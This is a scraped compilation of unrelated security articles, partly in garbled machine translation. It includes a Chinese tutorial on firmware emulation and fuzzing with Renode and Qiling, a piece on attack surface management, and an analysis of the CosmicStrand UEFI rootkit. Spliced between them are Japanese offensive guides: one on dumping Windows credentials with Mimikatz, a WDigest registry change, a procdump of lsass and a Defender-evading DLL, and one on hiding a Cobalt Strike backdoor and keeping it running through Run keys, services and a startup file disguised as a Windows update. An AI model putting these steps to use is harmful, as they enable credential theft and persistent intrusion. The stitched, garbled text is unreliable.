在各種攻擊性安全技術中，在分析IoT/IIoT 設備的安全性時，漏洞評估是重中之重。在大多數情況下，此類設備是使用黑盒測試方法進行分析的，在這種方法中，研究人員實際上對研究對像一無所知。通常，這意味著設備固件的源代碼不可用，研究人員只能使用用戶手冊和一些用戶論壇上討論設備操作的幾個線程。

IoT/IIoT 設備的漏洞評估基於對其固件的分析。它分幾個階段執行：準備固件（提取和解包），從研究人員的角度搜索感興趣的組件，在模擬器中運行固件或其部件，最後搜索漏洞。在最後階段使用了多種技術，包括靜態和動態分析以及模糊測試。

分析設備固件的傳統方法是將QEMU 仿真器與GNU 調試器結合使用。我們決定討論其他不太明顯的固件處理工具，包括Renode 和Qiling。這些工具中的每一個都有其自身的特性、優勢和局限性，使其對某些類型的任務有效。

Renode 是一種旨在模擬整個系統的工具，包括內存芯片、傳感器、顯示器和其他外圍設備。它還可以模擬多個處理器（在多處理器設備上）之間的交互，每個處理器都可以有自己的架構和固件。 Renode 還可以將仿真硬件與實現為可編程邏輯設備（FPGA 芯片）的真實硬件互連。

Qiling 是一個用於模擬可執行文件的高級多平台框架。它可以模擬多種操作系統和環境，包括不同成熟度的Windows、MacOS、Linux、QNX、BSD、UEFI、DOS、MBR 和以太坊虛擬機。它支持x86、x86_64、ARM、ARM64、MIPS 和8086 架構和各種可執行文件格式。它還可以模擬MBR 加載過程。

我們選擇了一個現實世界的設備，一個主要製造商的網絡錄像機，作為我們研究的對象。該設備基於海思平台，運行Linux。

從製造商網站下載的固件包含一個文件，其中binwalk 工具檢測到CramFS 文件系統。解壓文件後，我們發現uImage——Linux 內核和initramfs 的組合映像——以及幾個加密腳本和TAR 檔案。

DECIMALHEXADECIMALDESCRIPTION

--------------------------------------------------------------------------------

00x0uImageheader,headersize:64bytes,headerCRC:0xCA9A1902,created:2019-08-2307:16:16,imagesize:4414954bytes,DataAddress:0x40008000 ,EntryPoint:0x40008000,dataCRC:0xDE0F30AC,OS:Linux,CPU:ARM,imagetype:OSKernelImage,compressiontype:none,imagename:'Linux-3.18.20'

640x40LinuxkernelARMbootexecutablezImage(little-endian)

24640x9A0devicetreeimage(dtb)

165600x40B0LZMAcompresseddata,properties:0x5D,dictionarysize:33554432bytes,uncompressedsize:-1bytes

44018480x432AB8devicetreeimage(dtb)

1

2

3

4

5

6

7

DECIMALHEXADECIMALDESCRIPTION

--------------------------------------------------------------------------------

00x0uImageheader,headersize:64bytes,headerCRC:0xCA9A1902,created:2019-08-2307:16:16,imagesize:4414954bytes,DataAddress:0x40008000 ,EntryPoint:0x40008000,dataCRC:0xDE0F30AC,OS:Linux,CPU:ARM,imagetype:OSKernelImage,compressiontype:none,imagename:'Linux-3.18.20'

640x40LinuxkernelARMbootexecutablezImage(little-endian)

24640x9A0devicetreeimage(dtb)

165600x40B0LZMAcompresseddata,properties:0x5D,dictionarysize:33554432bytes,uncompressedsize:-1bytes

44018480x432AB8devicetreeimage(dtb)下面，我們從系統層面看一下Renode和Qiling的運行情況。

有關在應用程序級別使用這些工具的信息（以錄像機的固件為例），請參閱文章的完整版本。

使用Renode 的系統級仿真Renode 是一個完整的系統仿真實用程序，其開發人員主要將其定位為旨在簡化嵌入式軟件開發、調試和自動化測試的工具。但是，它也可以用作動態分析工具，在漏洞評估期間分析系統的行為。 Renode 可用於運行小型嵌入式實時操作系統和成熟的操作系統，如Linux 或QNX。該模擬器大部分是用C# 編寫的，因此它的功能可以相對較快地適應研究人員的需求。

描述模擬平台作為單芯片系統一部分的外圍設備通常可通過內存映射I/O (MMIO) 獲得——相應外圍模塊的寄存器映射到的物理內存區域。 Renode 提供了使用帶有.repl（RE節點PL格式）擴展名的配置文件從構建塊構建片上系統的能力，該文件描述了哪些設備應該映射到哪些內存地址。

有關可用外圍設備和所用平台的內存映射的信息可以在SoC 文檔（如果公開）中找到。如果文檔不可用，則可以通過分析設備樹Blob (DTB) 的內容來找到此信息，DTB 是描述Linux 內核在嵌入式設備上運行Linux 所需的平台的數據塊。

在正在分析的固件中，DTB 塊附加到uImage 文件的末尾（根據binwalk 工具的信息）。使用dtc 工具將DTB 轉換為可讀格式（DTS）後，我們可以使用它為Renode 創建平台描述。

開始仿真必須準備一個初始化腳本，以便在REPL 文件中描述的平台上運行一些有用的東西。該腳本通常將可執行代碼加載到虛擬內存中，配置處理器寄存器，設置額外的事件處理程序，配置調試消息的輸出（如果需要）等。

:name:HiSilicon

:description:TorunLinuxonHiSilicon

usingsysbus

$name?='HiSilicon'

machcreate$name

machineLoadPlatformDescription@platforms/cpus/hisilicon.repl

logLevel0

###createexternals###

showAnalyzersysbus.uart0

###redirectmemoryforLinux###

sysbusRedirect0xC00000000x400000000x8000000

###loadbinaries###

sysbusLoadBinary'/home/research/digicap.out/uImage'0x40008000

sysbusLoadAtags'console=ttyS0,115200mem=128M@0x40000000nosmpmaxcpus=0'0x80000000x40000100

###setregisters###

cpuSetRegisterUnsafe20x40000100#atags

cpuPC0x40008040

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

:name:HiSilicon

:description:TorunLinuxonHiSilicon

usingsysbus

$name?='HiSilicon'

machcreate$name

machineLoadPlatformDescription@platforms/cpus/hisilicon.repl

logLevel0

###createexternals###

showAnalyzersysbus.uart0

###redirectmemoryforLinux###

sysbusRedirect0xC00000000x400000000x8000000

###loadbinaries###

sysbusLoadBinary'/home/research/digicap.out/uImage'0x40008000

sysbusLoadAtags'console=ttyS0,115200mem=128M@0x40000000nosmpmaxcpus=0'0x80000000x40000100

###setregisters###

cpuSetRegisterUnsafe20x40000100#atags

cpuPC0x40008040該腳本將uImage 文件加載到平台內存中的binwalk 輸出地址，配置內核參數，並將控制權傳遞給地址0x40008040，因為前0x40 字節由uImage 標頭獲取。

開始仿真後，我們得到了一個功能齊全的終端，我們可以與它進行交互，就像我們在任何Linux 系統上的終端一樣：

2.png

Renode 模擬器提供了足夠的功能來快速開始對正在研究的固件進行動態分析。作為一個動手示例，我們能夠部分運行網絡視頻錄像機的固件，而無需實際手頭有錄像機。在接下來的步驟中，我們可以使用模擬文件系統中可用的工具來解密加密的固件文件，提取提供記錄器功能的內核模塊並分析它們的邏輯等。

由於Renode 仿真器為基於ARM 架構的片上系統中常用的外設提供了足夠廣泛的支持，因此無需編寫任何額外代碼即可查看功能齊全的Linux 終端。同時，在必要時，仿真器的模塊化架構及其腳本和插件編寫功能使得在足以進行研究的水平上實現對任何缺乏功能的支持變得相對容易。

該工具的顯著特點之一是它使用系統級仿真。因此，很難使用它來模糊測試或調試在模擬操作系統中運行的用戶空間應用程序。

該工具的缺點包括缺乏詳細的文檔，現有文檔僅描述了最基本的使用場景。在實現更複雜的東西時，例如新的外圍設備，或者試圖了解特定內置命令的工作原理時，您必須反复參考GitHub 上的項目存儲庫並研究模擬器本身和捆綁的源代碼外圍設備。

使用Qiling 框架進行模糊測試Qiling 框架是用Python 編寫的，這使得根據研究人員的特定需求調整其功能非常容易。麒麟框架底層有獨角獸引擎，它只是一個機器指令的模擬器，而麒麟提供了許多高級功能，例如從文件系統中讀取文件、加載動態庫等。

與QEMU 相比，Qiling Framework 可以模擬更多平台，並提供靈活的模擬過程配置，包括即時修改執行代碼的能力。此外，它是一個跨平台框架，這意味著它可以用來在Linux 上模擬Windows 或QNX 可執行文件，反之亦然。

作為演示的一部分，我們將嘗試使用Qiling 模糊測試hrsaverify 實用程序，它是我們正在分析的固件的一部分，使用AFL++，一個用於驗證加密文件的實用程序，它將文件的路徑用於被驗證為論據。 Qiling 框架在其存儲庫的示例/fuzzing 目錄中已經有幾個運行AFL++ fuzzer 的示例。我們將修改名為linux_x8664 的示例以運行hrsaverify。運行fuzzer 的修改腳本如下所示：

importunicornaflasUcAfl

UcAfl.monkeypatch()

importos,sys

fromtypingimportAny,Optional

sys.path.append('././.')

fromqilingimportQiling

fromqiling.constimportQL_VERBOSE

fromqiling.extensionsimportpipe

defmain(input_file:str):

ql=Qiling(['././rootfs/hikroot/usr/bin/hrsaverify','/test'],'././rootfs/hikroot',

verbose=QL_VERBOSE.OFF,#keepqilingloggingoff

console=False,#thwartprogramoutput

stdin=None,stdout=None,stderr=None)#don'tcareaboutstdin/stdout

defplace_input_callback(uc:UcAfl.Uc,input:bytes,persistent_round:int,data:Any)-Optional[bool]:

'''Calledwitheverynewlygeneratedinput.'''

withopen('././rootfs/hikroot/test','wb')asf:

f.write(input)

defstart_afl(_ql:Qiling):

'''Callbackfrominside.'''

#WestartourAFLforkserverorrunonceifAFLisnotavailable.

#Thiswillonlyreturnafterthefuzzingstopped.

try:

ifnot_ql.uc.afl_fuzz(input_file=input_file,

place_input_callback=place_input_callback,exits=[ql.os.exit_point]):

_ql.log.warning('RanoncewithoutAFLattached')

os._exit(0)

exceptUcAfl.UcAflErrorasex:

ifex.errno!=UcAfl.UC_AFL_RET_CALLED_TWICE:

raise

#Imagebaseaddress

ba=0x10000

#Setahookonmain()toletunicornforkandstartinstrumentation

ql.hook_address(callback=start_afl,address=ba+0x8d8)

#Okay,readytoroll

ql.run()

if__name__=='__main__':

iflen(sys.argv)==1:

raiseValueError('Noinputfileprovided.')

main(sys.argv[1])

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

importunicornaflasUcAfl

UcAfl.monkeypatch()

importos,sys

fromtypingimportAny,Optional

sys.path.append('././.')

fromqilingimportQiling

fromqiling.constimportQL_VERBOSE

fromqiling.extensionsimportpipe

defmain(input_file:str):

ql=Qiling(['././rootfs/hikroot/usr/bin/hrsaverify','/test'],'././rootfs/hikroot',

verbose=QL_VERBOSE.OFF,#keepqilingloggingoff

console=False,#thwartprogramoutput

stdin=None,stdout=None,stderr=None)#don'tcareaboutstdin/stdout

defplace_input_callback(uc:UcAfl.Uc,input:bytes,persistent_round:int,data:Any)-Optional[bool]:

'''Calledwitheverynewlygeneratedinput.'''

withopen('././rootfs/hikroot/test','wb')asf:

f.write(input)

defstart_afl(_ql:Qiling):

'''Callbackfrominside.'''

#WestartourAFLforkserverorrunonceifAFLisnotavailable.

#Thiswillonlyreturnafterthefuzzingstopped.

try:

ifnot_ql.uc.afl_fuzz(input_file=input_file,

place_input_callback=place_input_callback,exits=[ql.os.exit_point]):

_ql.log.warning('RanoncewithoutAFLattached')

os._exit(0)

exceptUcAfl.UcAflErrorasex:

ifex.errno!=UcAfl.UC_AFL_RET_CALLED_TWICE:

raise

#Imagebaseaddress

ba=0x10000

#Setahookonmain()toletunicornforkandstartinstrumentation

ql.hook_address(callback=start_afl,address=ba+0x8d8)

#Okay,readytoroll

ql.run()

if__name__=='__main__':

iflen(sys.argv)==1:

raiseValueError('Noinputfileprovided.')

main(sys.argv[1])我們首先要查找的是可執行文件的基地址（在我們的例子中為0x10000），即主函數的地址。有時需要在其他地址上額外設置鉤子，當遇到這些地址時，模糊器應將其視為崩潰。例如，在QNX 環境中（在qnx_arm 目錄中）運行AFL 時，為libc 中SignalKill 函數的地址設置了這種類型的附加處理程序。在hrsaverify 的情況下，不需要額外的處理程序。還應該記住，所有必須對正在運行的應用程序可用的文件都應該放在sysroot 中，並且應該傳遞它們的相對路徑（在這種情況下，/./rootfs/hikroot/）。

AFL++ 使用以下命令啟動：

AFL_AUTORESUME=1AFL_PATH='$(realpath./AFLplusplus)'PATH='$AFL_PATH:$PATH'afl-fuzz-iafl_inputs-oafl_outputs-U--python./fuzz_arm_linux.py@@

1

AFL_AUTORESUME=1AFL_PATH='$(realpath./AFLplusplus)'PATH='$AFL_PATH:$PATH'afl-fuzz-iafl_inputs-oafl_outputs-U--

HireHackking

1。 Mimikatzは、レジストリにLSA保護をバイパスするために変更を追加します（EDRとWDは当面とは見なされません）

Mimikatz原則：Mimikatzは、lsass.exeプロセスに保存されているプレーンテキストログインパスワードを逆に取得します。 （LSASS.EXEは、ローカルセキュリティおよびログインポリシーに使用されます）。まず、Mimikatzを使用する場合、クロールは管理者の権利でなければなりません。 Win10、Win11、Win2012およびその他のバージョンでは、システムがLSA保護を有効にし、PlantextパスワードフィールドにNULLが表示されます。最初のステップは、権限を増やすことです：特権:3360Debug。 2番目のステップは、クロールすることです。Sekurlsa3:logonpasswordspwiurnxzxeh743.pngLSA保護をオフにします。このログインのプレーンテキストパスワードは、LSASS.EXEプロセスに保存されます。 Mimikatzを使用して再びクロールして、Plantextパスワードを表示します。レジストリを復元すると、1から0を直接変更できます。コマンドの変更：reg hklm \ system \ currentControlset \ control \ securityproviders \ wdigest /v uselogoncredentient /t reg_dword /d 1 /f vyglgocjvbz744.pngしたがって、ミミカッツのために殺さない場合、たとえ静的すぎても、ハッシュアクションをバイパスするためにさまざまな姿勢を考慮する必要がありますが、これには間違いなく多くの時間がかかります。したがって、lsass.exeに保存されているプレーンテキストパスワードを取り出すことを検討し、ローカルミミカッツを介してパスワードを取得できます。実装：LSA保護がオフになり、管理者の権利が使用され、Microsoft Project Procdumpを使用してダンピングを使用しています（Microsoftプロジェクトであるため、EDRは毒を報告しません）、LSASSプロセスに保存されているパスワード情報を取得し、niuma.dmpとして保存します。 Procdumpプロジェクトアドレス：https://Learn.microsoft.com/zh-cn/sysinternals/downloads/procdumpコマンド：procdump.exe -ma lsass.exe niuma.dmpこの時点で、情報はローカル環境でMimikatzと同じディレクトリに引き込まれているため、通常のユーザー許可はniuma.dmpのプレーンテキストパスワードを直接読み取ることができます。ステップ1：sekurlsa3:3360minidump niuma.dmpステップ2：sekurlsa3:logonpasswordsフルdtjslq5p0eo745.pngしたがって、メモリストレージのDLL干渉を介してストレージを暗号化して、WDをバイパスする必要があります。

実装：前提は、LSA保護がオフになっており、管理者の特権であることです。操作中にエラーが発生する可能性があります。指定されたモジュール参照はありません。 DLLファイルの依存関係を見つけて、同じディレクトリに保存する必要があります。コマンドを使用して暗号化されたtest.logを生成し、パスC:/windows/tmepを保存し、ファイルをローカルに保存し、test.logを復号化して初期ストレージ情報を取得し、2番目のミミカッツと同じプレーンテキストパスワードを取得します。最初のステップでは、暗号化されたファイルを生成します：rundll32 dumphash.dll dllmain 2番目のステップローカル復号化コマンド：mimikatz decryption.exe test.log 1.bin 3番目のステップは、平文を読み取ります：sekurlsa:3360minidump 1つは、スクリーンショットが撮影されていません）vrq3q5x5f02746.png 4dvgmcfyzc1747.png

2。 Procdumpダンプバイパス360、Firefox

Githubプロジェクトアドレス：3https://github.com/xjsafe/mimikatzbypass yabpnkdqrpj748.pngリポスト

HireHackking

1。レジストリスタートアップに関する注意：この方法は、タスクを維持するためにこの方法で権限を維持するために使用されます。ExeはCSによって生成されたバックドアファイルです。ここでは、バックドアファイルを使用して、隠されたファイルの殺害を避けることができます。 Shell Attrib C: \ Windows \ Task.exe +S +H 1049983-20240926132220725-370366897.pngレジストリスタートアップバックドアファイルReg Add hklm \ Software \ Microsoft \ Windows \ currentversion \ run /v 1049983-20240926132222308-1456730551.png

2。Windowsサービスは、Hidden File Shell Attrib C: \ Windows \ Task.exe +S +Hサービスを自動的に起動します。実行バックドアファイルシェルを自動的に開始します。1049983-20240926132223610-567257077.pngまたは1049983-20240926132224397-1493573486.png 1049983-20240926132225014-118523183.png 1049983-20240926132225617-1332830607.png3.sharpstay.exe自動化タスクはSharpStay.exe Action=Debug Command='C3: \ Windows 1049983-20240926132227032-850389686.png

4. Service Directory（Win7 System isのみ有効）を自動的に開始するシェルコピー 'c: \ windows \ task.exe' 'c: \ users \ administrator \ appdata \ roaming \ roaming \ windows \ start menu \ start menu \ programs \ spartup \ windowsupdate.exe '％ProgramData％\ Microsoft \ Windows \ Start Menu \ Programs \ Startup \ WindowsUpDate.Exe' /YShell Attrib 'C: \ Users \ Administrator \ AppData \ Roaming

HireHackking

remote_desktop_abstract-e1654695169351.jpeg

互聯網協議（IP）地址及其背後的設備、網絡服務和雲資產是現代企業的生命線。但公司經常積累數千個數字資產，無序的狀態給IT和安全團隊造成了無法管理的混亂。如果不仔細地加以檢查，一個被遺忘、遺棄或未知的數字資產對於公司來說就是網絡安全定時炸彈。

為什麼查看和管理網絡中的每個數字事物都應是重中之重？這當中存在一種可能：它們是您組織基礎設施中增長最快的部分。有效的數字資產管理——包括IP地址可見性——是您阻止攻擊者對網絡資產發動攻擊的最基礎也是最有效的途徑。

在過去的二十年裡，安全團隊一直專注於解決內部資產風險。面向公眾的數字資產和IP地址是“非軍事化區”的一部分，“非軍事化區”是一個防禦的強化但非常有限的周邊地區。但在全球大流行和隨之而來的居家辦公趨勢的推動下，數字化轉型隨之而來，網絡邊界變得不再清晰，都需要讓位於當今一切託管服務的現代架構。

數字資產：死亡、遺忘和危險過去兩年的業務數字化轉型引發了一場新的網絡應用程序、數據庫和物聯網設備的海嘯。他們為威脅組織創造了一個巨大的新攻擊面，其中包括複雜的雲原生IT基礎設施。可能暴露的是數千個API、服務器、物聯網設備和SaaS資產。

管理不善的數字資產是一顆定時炸彈。例如，在網絡應用程序中存在巨大風險。在最近的CyCognito調查中，我們發現Global 2000組織平均每個組織有5000個暴露的Web界面，佔其外部可能受到攻擊表面的7%。在這些Web應用程序中，我們發現不乏開源JavaScript漏洞庫問題，如jQuery、JQuery-UI和Bootstrap。 SQL注入、XSS和PII暴露漏洞也不短缺。

任何面向外部的資產未知或管理不善，都可以被視為邀請對手破壞您的網絡的機會。然後，攻擊者可以竊取數據、傳播惡意軟件、破壞基礎設施並實現持續的未經授權訪問。

當我們與公司談論他們的攻擊面時，我們很少聽到他們對掌握數字資產表示信心。許多公司仍然通過Excel電子表格跟踪IP地址，並反過來連接資產。這種措施是否高效？事實上這僅適用於最小的組織。 ESG在2021年的一項研究發現，73%的安全和IT專業人士依賴他們。

數據安全是頭等大事，這也是貴公司的皇冠珠寶。我認為，保護IP地址和連接資產應該採取更現代的管理方法，這樣就可以在問題出現之前解決這些問題。

善意可能會出錯但即使是善意的公司也可能犯錯誤。假設企業服務台創建的內部票務系統只能通過內部URL訪問。對手可能會利用URL的基礎IP地址，並通過添加“:8118”來打開網絡後門（或端口）。這就是為什麼IP地址，包括端口、域和證書等相關技術，可能帶來巨大的安全和聲譽風險。

其結果可能是數字資產軟點的墓地，這些軟點經常成為對手的切入點，例如被遺忘或管理不善的DevOps或SecOps工具、雲產品和設備Web界面。

在當今復雜的企業中，系統管理員通常只能看到他們負責管理的設備子集。如果資產不在您的雷達屏幕上，您將無法真正地降低風險。

為什麼管理IP連接的資產就像養貓一樣在過去的12個月裡，通過對CyCognito的客戶群觀察調研，我們看到組織內IP地址（和相關數字資產）的數量增長了20%。這一增長至少部分歸功於雲的採用以及對居住在公司網絡的連接設備和Web應用程序的依賴。但經常被忽視的是，當公司增長或萎縮時，基礎設施會蔓延。

例如，在繞過IP地址管理方面，合併和收購（併購）活動通常會讓企業保持平穩。假設酒店集團收購了較小的競爭對手。當這種情況發生時，它還繼承了一個由未管理和未知的IP地址和域組成的潛在雷區。

死亡域名和被遺忘域名——一種不同類型的數字資產——經常成為所謂的懸垂DNS記錄的犧牲品，對手可以通過重新註冊來接管被遺忘的子域名。這些子域以前連接到公司資源，但現在完全由不良行為者控制，然後可用於改變公司的網絡流量，造成數據丟失和聲譽損害。

同樣，子公司的剝離可能導致基礎設施被遺棄，成為孤兒數字資產和相關網絡應用程序。這些被遺忘的資產經常被IT團隊忽視，但絕對不會被機會主義黑客忽視。

更糟糕的是，不安全的端口使設備可以進行默認憑據攻擊。畢竟，對於對手來說，要掃描和查找開放的端口，他們需要管理不善的雲服務或IP連接的硬件。

最後，通過收購獲得的不受管理的IT基礎設施和資產可能會浪費寶貴的時間。考慮一下管理不善的IP地址如何向IT安全團隊發送高度戒備狀態，以了解為什麼公司資產在它不開展業務的國家/地區被使用。

為了保護關鍵數據，阻止惡意軟件感染並防止漏洞，部分答案是進行有效的數字資產管理以及提高IP地址可見性。太多的系統管理員仍然受制於這個過時的基於電子表格的資產管理系統。

此外，忽略攻擊載體並僅檢測已知資產中CVE的遺留掃描儀無法評估與公司內部大量數字資產相關的風險。例如，在之前的內部票務系統中——通過URLhttps://X.X.X.X[:]8118意外暴露在互聯網上——該IP上的端口掃描充其量只能找到HTTP服務。掃描儀肯定不會理解曝光的背景和關鍵性。公司擁有的雲資產上意外打開目錄也是如此，儘管這些目錄可能包含員工憑據和TB的敏感數據。

無知不是幸福看到就是相信當然，默認情況下，數字資產並不危險。相反，風險與IT堆棧的管理以及系統管理員處理與預置、非預置、託管和非託管服務綁定的眾多連接應用程序的能力有關。

難題擺在公司的面前：“你如何管理你不知道的東西？”

實施網絡分割，零信任解決方案和積極的IP和端口掃描，以及資產發現，都是對減輕威脅問題的必要響應。但這些解決方案並沒有100%解決問題。

這就像根據20%的居民的檢測，給社區一份乾淨的新冠肺炎健康法案。沒有其他80%的測試，你真的不知道自己是否安全。即使對90%的攻擊表面進行完美的漏洞管理，當10%可能看不見和不受管理時，這也不是無關緊要的事。

與低效的發現工具相關的成本和修復發現問題的IT資源有限也是有效攻擊表面管理的障礙。

攻擊表面管理需要圍繞“發現”暴露的關鍵資產的新心態。持續發現那些大規模攻擊者抵抗力最小的路徑，加上安全測試和將寶貴資產被盜的風險聯繫起來，至關重要。 CyCognito正在圍繞暴露和風險管理與緩慢、有限範圍和昂貴的漏洞管理開拓這個想法。

想像一下，看到您的整個攻擊表面——以及您的子公司的攻擊表面——並能夠根據風險簡介對修復進行優先排序，該風險簡介告訴您特定資產被黑客入侵的概率。在數字資產的背景下，了解您的整個IP環境並優先考慮需要首先解決的問題，可以大大有助於實現更安全的IT環境。

大局？對手總是尋求阻力最小的道路。他們避免了更難的攻擊路徑，因為它們往往很吵，增加了後衛檢測和響應的風險。現代外部攻擊表面管理方法應該利用資產補救優先級相同的最不耐藥性路徑原則，同時減少回收（MTTR）的時間，並回答以下問題：“我們安全嗎？”

Rob Gurzeev是外部攻擊表面管理公司CyCognito的首席執行官兼聯合創始人。他是一名進攻性安全專家，專注於提供網絡安全解決方案，幫助組織找到並消除攻擊者利用的路徑。

HireHackking

abstract_cosmic_strand-1200x600.jpg

Rootkit 是植入操作系統最深處的惡意軟件。儘管在紙面上它們似乎對攻擊者很有吸引力，但創建它們會帶來重大的技術挑戰，並且最輕微的編程錯誤都有可能使受害計算機完全崩潰。在對2022 年的APT 預測中，我們注意到儘管存在這些風險，但預計會有更多的攻擊者達到開發此類工具所需的複雜程度。嵌入在如此低級別的操作系統中的惡意軟件的主要吸引力之一是，它極難被檢測到，而且在固件rootkit的情況下，即使重新安裝操作系統或用戶完全更換了計算機的硬盤驅動器，也會確保計算機保持在感染狀態。

在本文中，我們會介紹一個名為CosmicStrand 的UEFI 固件rootkit。

受影響的設備雖然我們無法發現受害計算機最初是如何被感染的，但對其硬件的分析揭示了CosmicStrand 可以感染的設備。 rootkit 位於技嘉或華碩主板的固件映像中，我們注意到所有這些映像都與使用H81 芯片組的設計有關。這表明可能存在允許攻擊者將其rootkit 注入固件映像的常見漏洞。

在這些固件映像中，對CSMCORE DXE 驅動程序進行了修改，其入口點已被修補以重定向到.reloc 部分中添加的代碼。此代碼在系統啟動期間執行，會觸發一個長執行鏈，從而導致在Windows 中下載和部署惡意組件。

查看我們能夠獲得的各種固件映像，我們評估這些修改可能是使用自動修補程序執行的。如果是這樣，則攻擊者可以事先訪問受害者的計算機，以提取、修改和覆蓋主板的固件。這可以通過已經部署在計算機或物理訪問上的預先植入的惡意軟件來實現。

感染過程概述在深入了解組成這個rootkit 的各種組件之前，我們想提供一個關於它試圖完成的任務的高級視圖。此執行鏈的目標是在每次啟動時從受感染的UEFI 組件開始將內核級植入部署到Windows 系統中。

UEFI 惡意軟件開發者面臨一個獨特的技術挑戰：他們的植入程序在啟動過程中很早就開始運行，以至於操作系統（在本例中為Windows）甚至還沒有加載到內存中。到那時，UEFI執行上下文已經終止了。 rootkit完成的主要任務是找到一種方法，將惡意代碼一路傳遞到各個啟動階段。

工作流程包括連續設置掛鉤，允許惡意代碼持續存在，直到操作系統啟動之後。所涉及的步驟是：

初始受感染的固件引導整個鏈。

該惡意軟件在啟動管理器中設置了一個惡意掛鉤，允許它在執行之前修改Windows 的內核加載程序。

通過篡改操作系統加載程序，攻擊者能夠在Windows 內核的功能中設置另一個掛鉤。

當稍後在操作系統的正常啟動過程中調用該函數時，惡意軟件最後一次控制了執行流程。

它在內存中部署一個shellcode 並聯繫C2 服務器以檢索實際的惡意有效負載以在受害者的計算機上運行。

下圖中總結了這些步驟：

1.png

UEFI 植入2.png

在確定了惡意軟件植入的目的之後，我們現在可以更詳細地了解這些步驟是如何執行的。

整個執行鏈從EFI 驅動程序開始，它似乎是一個名為CSMCORE 的合法版本的補丁版本（旨在促進通過MBR 在傳統模式下啟動計算機），其中攻擊者修改了指向HandleProtocol 啟動服務函數的指針。每次調用此函數時，都會將執行重定向到攻擊者提供的代碼，該代碼試圖確定調用它的組件（它正在尋找要感染的特定組件——efi）。通過檢查函數參數以及位於返回地址的字節，CosmicStrand 可以識別它正在尋找的確切“調用”。

3.png

之所以選擇執行中的這個特定點，是因為在這個階段，引導管理器已經加載到內存中，但還沒有運行。 CosmicStrand抓住了這個機會來修補它的Archpx64TransferTo64BitApplicationAsm中的一些字節。

該函數稍後在正常的操作系統啟動過程中被調用也是在一個關鍵時刻：那時Windows 操作系統加載程序也存在於內存中，並且可以反過來進行修改。

當它運行時，Archpx64TransferTo64BitApplicationAsm 通過查找特定的字節模式從OS 加載器(OslArchTransferToKernel) 中定位一個函數。 然後CosmicStrand 在它的末端添加一個掛鉤。

4.png

OslArchTransferToKernel 在執行從Windows 加載程序轉移到Windows 內核之前被調用，這使其成為此類rootkit 的傳統掛鉤點。

在Windows 內核有機會運行之前，CosmicStrand 在ZwCreateSection 中設置了另一個掛鉤。惡意代碼被複製到內存中的ntoskrnl.exe的映像中，並且ZwCreateSection的第一個字節被重寫以重定向到它。我們注意到，攻擊者小心翼翼地將惡意代碼放在ntoskrnl.exe的.text部分的空閒空間中，這使得這種重定向在可能的安全產品眼中不那麼顯眼。

5.png

此時，CosmicStrand 似乎還試圖禁用PatchGuard，這是一種用於防止修改內存中Windows 內核的關鍵結構的安全機制。為此，它會定位ntoskrnl.exe 的KiFilterFiberContext 函數並對其進行修改，使其無需執行任何工作即可返回。值得注意的是，該函數的本地化也是通過搜索硬編碼模式來實現的，非常詳盡，甚至包含與2016 年8 月發布的Redstone 1 對應的模式。

6.png

然後，Windows內核啟動，並在正常運行時調用掛鉤的ZwCreateSection函數。當這種情況發生時，CosmicStrand會再次獲得執行的控制權，並在運行更多惡意代碼之前恢復原始代碼。

ZwCreateSection 掛鉤的主要目的是收集內核提供的API 函數的地址，並為下一個組件創建一個導入表。通過使用解析函數，它還在內核地址空間中分配了一個緩衝區，在調用shell代碼之前，它在這個地址空間映射shell代碼。

內核shellcode到目前為止描述的所有步驟僅用於將代碼執行從UEFI 傳播到Windows 內核。這個shellcode 是迄今為止鏈中第一個真正的惡意組件。它設置了一個線程通知例程，每次創建新線程時都會調用該例程。 CosmicStrand 一直等到winlogon.exe 出現，然後在這個高權限上下文中執行回調。

這樣，CosmicStrand 會休眠10 分鐘並測試受感染計算機的互聯網連接。 CosmicStrand 不依賴高級API 函數來生成網絡流量，而是直接與傳輸設備接口交互：它生成所需的IRP（I/O 請求數據包）並通過將IOCTL 發送到TCP 或UDP 設備對象。 DNS請求可以通過谷歌的DNS服務器(8.8.8[.]8)或自定義的DNS服務器(222.222.67[.]208)來實現。

CosmicStrand 通過向其C2 服務器update.bokts[.]com 發送自定義的UDP或TCP 數據包來檢索其最終有效負載。回复預計將返回一個或多個包含528 字節塊的數據包，遵循以下結構：

7.png

各種數據塊被重新組裝成一家族字節，這些字節映射到內核空間並解釋為shellcode。不幸的是，我們無法獲得來自C2 服務器的數據副本。然而，我們確實在我們可以研究的一台受感染計算機上找到了內存中的用戶模式樣本，並相信它與CosmicStrand 相關聯。該示例是一個可執行文件，它運行命令行以便在受害者的計算機上創建一個用戶（“aaaabbbb”）並將其添加到本地管理員組。

8.png

我們可以由此推斷，從C2 服務器接收到的shellcode 可能是攻擊者提供的PE 可執行文件的暫存器，而且很可能存在更多。

較舊的CosmicStrand 變體在調查過程中，我們還發現了這個rootkit 的舊版本。它們具有相同的部署過程，它們的細微差別與內核shellcode 有關。

它試圖從exe 而不是winlogon.exe 劫持線程。

為獲得額外的shellcode 以運行而聯繫的C2 域是不同的(erda158[.]to)。

每次在系統中創建新進程時，舊變體都會打印調試消息。

9.png

根據我們對這兩種變體使用的基礎設施的分析，我們估計舊的一種在2016 年底至2017 年中期之間使用，而當前的一種在2020 年曾非常活躍。

基礎設施我們知道有兩個C2服務器，每個變體對應一個。根據對他們可用的被動DNS數據，這些域有一個很長的生命週期，並在有限的時間內解析到IP地址，否則，rootkit 將無法運行。因此值得注意的是，雖然攻擊者選擇部署極其持久的植入程序，但對受害計算機的實際利用可能只有幾個月。但是，這些域可能偶爾會在很短的時間內被重新激活，並且此信息不會被被動DNS 系統記錄。

10.png

細心的讀者會注意到這兩個域的活動期之間存在三年的差距。在此期間，攻擊者可能正在使用通過CosmicStrand 部署的用戶模式組件控制受害者的計算機，或者更有可能我們還沒有發現的其他變體和C2服務器。

受害者目前，研究人員在中國、越南、伊朗和俄羅斯發現CosmicStrand 的受害者。

總結綜合分析，CosmicStrand 是由說中文的開發者開發的，或者是利用了講中文的攻擊者的資源。具體來說，CosmicStrand中的一些代碼模式也在另一個惡意軟件家族MyKings殭屍網絡中被觀察到(例如，MD5 E31C43DD8CB17E9D68C65E645FB3F6E8)。 Sophos在2020年記錄了這個用於部署加密器的殭屍網絡。

與CosmicStrand 的相似之處包括：

使用MBR rootkit 在MyKings 中建立隱秘持久性。

